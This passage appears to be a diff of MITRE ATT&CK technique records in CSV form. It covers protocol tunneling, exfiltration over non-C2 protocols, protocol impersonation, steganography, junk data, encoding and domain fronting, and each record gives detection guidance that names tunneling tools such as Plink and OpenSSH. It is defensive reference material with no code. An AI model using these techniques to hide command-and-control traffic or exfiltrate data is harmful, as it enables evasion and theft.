tunnel. Retrieved March 15, 2020.'}, {'source_name': 'BleepingComp Godlua JUL19', 'url': 'https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/', 'description': 'Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1572,mitre-attack,T1572,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Protocol Tunneling,"Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. +Monitor for web traffic to/from known-bad or suspicious domains. ",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1572', 'external_id': 'T1572'}, {'source_name': 'SSH Tunneling', 'description': 'SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.', 'url': 'https://www.ssh.com/ssh/tunneling'}, {'source_name': 'BleepingComp Godlua JUL19', 'description': 'Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.', 'url': 'https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:03:39.082Z,2020-03-27T17:15:35.372Z,Protocol Tunneling,"Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) -Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ",attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b,attack-pattern,['command-and-control'],2020-03-27T17:15:35.372Z,2020-03-15T16:03:39.082Z,"Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. +Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ",['command-and-control'],https://attack.mitre.org/techniques/T1572,mitre-attack,T1572,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1048.003', 'url': 'https://attack.mitre.org/techniques/T1048/003'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,True,https://attack.mitre.org/techniques/T1048/003,mitre-attack,T1048.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1048/003', 'external_id': 'T1048.003'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.1,attack-pattern,attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T15:37:47.583Z,2021-10-15T22:49:28.421Z,Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. -Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ",attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b,attack-pattern,['exfiltration'],2020-03-28T00:50:31.361Z,2020-03-15T15:37:47.583Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1048.002', 'url': 'https://attack.mitre.org/techniques/T1048/002'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,True,https://attack.mitre.org/techniques/T1048/002,mitre-attack,T1048.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over Asymmetric Encrypted Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. +Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ",['exfiltration'],https://attack.mitre.org/techniques/T1048/003,mitre-attack,T1048.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ",True,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1048/002', 'external_id': 'T1048.002'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.1,attack-pattern,attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T15:34:30.767Z,2021-10-15T22:44:11.953Z,Exfiltration Over Asymmetric Encrypted Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. -Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ",attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5,attack-pattern,['exfiltration'],2020-03-28T00:45:51.014Z,2020-03-15T15:34:30.767Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1048.001', 'url': 'https://attack.mitre.org/techniques/T1048/001'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,True,https://attack.mitre.org/techniques/T1048/001,mitre-attack,T1048.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over Symmetric Encrypted Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. +Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ",['exfiltration'],https://attack.mitre.org/techniques/T1048/002,mitre-attack,T1048.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ",True,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1048/001', 'external_id': 'T1048.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T15:30:42.378Z,2020-03-28T00:43:24.228Z,Exfiltration Over Symmetric Encrypted Non-C2 Protocol,"Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. -Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ",attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c,attack-pattern,['exfiltration'],2020-03-28T00:43:24.228Z,2020-03-15T15:30:42.378Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) +Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ",['exfiltration'],https://attack.mitre.org/techniques/T1048/001,mitre-attack,T1048.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) -Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1001.003', 'url': 'https://attack.mitre.org/techniques/T1001/003'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1001/003,mitre-attack,T1001.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Protocol Impersonation,"Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. +Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ",True,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1001/003', 'external_id': 'T1001.003'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T00:40:27.503Z,2020-03-15T00:40:27.503Z,Protocol Impersonation,"Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. -Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ",attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc,attack-pattern,['command-and-control'],2020-03-15T00:40:27.503Z,2020-03-15T00:40:27.503Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,,"['Linux', 'Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1001.002', 'url': 'https://attack.mitre.org/techniques/T1001/002'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1001/002,mitre-attack,T1001.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Steganography,"Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ",attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235,attack-pattern,['command-and-control'],2020-03-15T00:37:58.963Z,2020-03-15T00:37:58.963Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1001.001', 'url': 'https://attack.mitre.org/techniques/T1001/001'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1001/001,mitre-attack,T1001.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Junk Data,"Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ",attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade,attack-pattern,['command-and-control'],2020-03-15T00:30:25.444Z,2020-03-15T00:30:25.444Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1132.002', 'url': 'https://attack.mitre.org/techniques/T1132/002'}, {'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'source_name': 'Wikipedia Binary-to-text Encoding'}, {'url': 'https://en.wikipedia.org/wiki/Character_encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'source_name': 'Wikipedia Character Encoding'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1132/002,mitre-attack,T1132.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Non-Standard Encoding,"Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ",attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc,attack-pattern,['command-and-control'],2020-03-14T23:39:50.117Z,2020-03-14T23:39:50.117Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1132.001', 'url': 'https://attack.mitre.org/techniques/T1132/001'}, {'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'source_name': 'Wikipedia Binary-to-text Encoding'}, {'url': 'https://en.wikipedia.org/wiki/Character_encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'source_name': 'Wikipedia Character Encoding'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1132/001,mitre-attack,T1132.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Standard Encoding,"Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c,attack-pattern,['command-and-control'],2020-03-14T23:36:52.095Z,2020-03-14T23:36:52.095Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1090.004', 'url': 'https://attack.mitre.org/techniques/T1090/004'}, {'external_id': 'CAPEC-481', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/481.html'}, {'url': 'http://www.icir.org/vern/papers/meek-PETS-2015.pdf', 'description': 'David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.', 'source_name': 'Fifield Blocking Resistent Communication through domain fronting 2015'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.1,True,https://attack.mitre.org/techniques/T1090/004,mitre-attack,T1090.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Fronting,"Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, ""domainless"" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). +Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ",['command-and-control'],https://attack.mitre.org/techniques/T1001/003,mitre-attack,T1001.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'Windows', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1001/002', 'external_id': 'T1001.002'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T00:37:58.963Z,2020-03-15T00:37:58.963Z,Steganography,"Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ",['command-and-control'],https://attack.mitre.org/techniques/T1001/002,mitre-attack,T1001.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1001/001', 'external_id': 'T1001.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T00:30:25.444Z,2020-03-15T00:30:25.444Z,Junk Data,"Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. 